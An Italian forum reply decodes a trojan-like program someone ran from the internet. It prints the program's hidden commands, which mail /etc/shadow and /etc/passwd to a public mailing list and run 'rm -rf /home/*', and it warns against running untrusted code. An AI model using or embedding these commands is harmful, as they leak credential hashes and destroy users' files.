Ma io non ho detto che non funziona, anzi, fa benissimo quello che deve fare. Solo che non fa quello che pensi tu.
Sostituendo le tre chiamate a system() con delle printf, ottieni cosa la macchina cerca di eseguire quando lanci il programma...
- Codice: Seleziona tutto
[zello@zello tmp]$ ./out
cat /etc/shadow |mail full-disclosure@lists.grok.org.uk cat /etc/passwd |mail full-disclosure@lists.grok.org.uk /bin/rm -rf /home/*;clear;echo bl4ckh4t,hehe
[zello@zello tmp]$
Direi:
- spedisce la lista delle tue password ad una mailing list, seguita dalla lista dei tuoi user
- ti spazzola via completamente la directory /home (e qui sono pure stati buoni)
- pulisce lo schermo
- ti prende anche un po' per il c**o (che - sia detto con affetto - in una certa misura te lo meriti).
Non è che pescare il primo codice che becchi su internet sia una garanzia di successo - it's a looong way to the top.
Il faut être toujours ivre. Tout est là : c'est l'unique question. Pour ne pas sentir l'horrible fardeau du Temps qui brise vos épaules et vous penche vers la terre,il faut vous enivrer sans trêve...